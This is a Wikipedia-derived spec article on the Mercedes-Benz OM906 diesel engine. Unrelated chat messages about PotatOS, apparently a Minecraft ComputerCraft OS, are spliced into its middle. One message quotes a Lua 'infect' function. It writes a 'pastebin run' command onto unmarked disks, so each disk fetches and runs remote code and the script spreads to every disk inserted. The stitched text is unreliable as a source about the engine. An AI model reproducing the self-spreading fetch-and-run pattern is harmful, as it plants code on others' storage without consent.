Mercedes-Benz OM906 engine
The Mercedes-Benz OM906 is a 6.4 liter (6,374cc) Straight-6 (I6) Overhead camshaft (SOHC) Diesel engine with 3 valves per cylinder.[1][2] It is related to the Straight-4 OM904 engine which has two cylinders chopped off, while the bore and stroke remain unchanged[3].
It launched in 1996 and had a Unit injector system to deliver fuel to every cylinder. It used a twin-scroll Turbocharger that was giving ~1-1.6atm of boost[4].
Power: | 170-210kW (228-282hp) @ 2,200 rpm | Height: | 930mm (36.6in) |
---|---|---|---|
Torque: | 810-1150Nm (597-848lb.ft) @ 1,200-1,600 rpm | Weight: | 540kg (1,190lbs) |
Aspiration: | Twin-scroll turbocharger, intercooler | Injection: | Direct injection |
Compression Ratio: | 18:1 | Boost: | 1-1.6atm |
Bore: | 102mm (4in) | Launch Year: | 1996 |
Stroke: | 130mm (5.1in) | ||
Displacement: | 6,374cc (389CI) | ||
Redline: | 2,300 rpm | ||
Length: | 1,228mm (48.3in) | ||
Width: | 640mm (25.2in) |
Torque Curve
gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?
gollark: <@151391317740486657> Only digitally signed ones are run unsandboxed. You cannot sign a disk without the private key or probably utterly impractical hackery.
gollark: Basically, any disk you make *will not be run unsandboxed* on a regular potatOS install.
See also
References
- "Diesel Engine OM 906". www.idem.ir. Retrieved 2019-09-13.
- "Table 1 Technical data of Mercedes-Benz engine OM 906 LA". ResearchGate. ResearchGate. Retrieved 2019-10-02.
- "Mercedes OM904 - OM906 engine specs, bolt torques, manuals". barringtondieselclub.co.za. Retrieved 2019-09-13.
- "The history of medium-duty engines at Mercedes-Benz". www.fleetnews.co.uk. Retrieved 2019-09-14.
This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.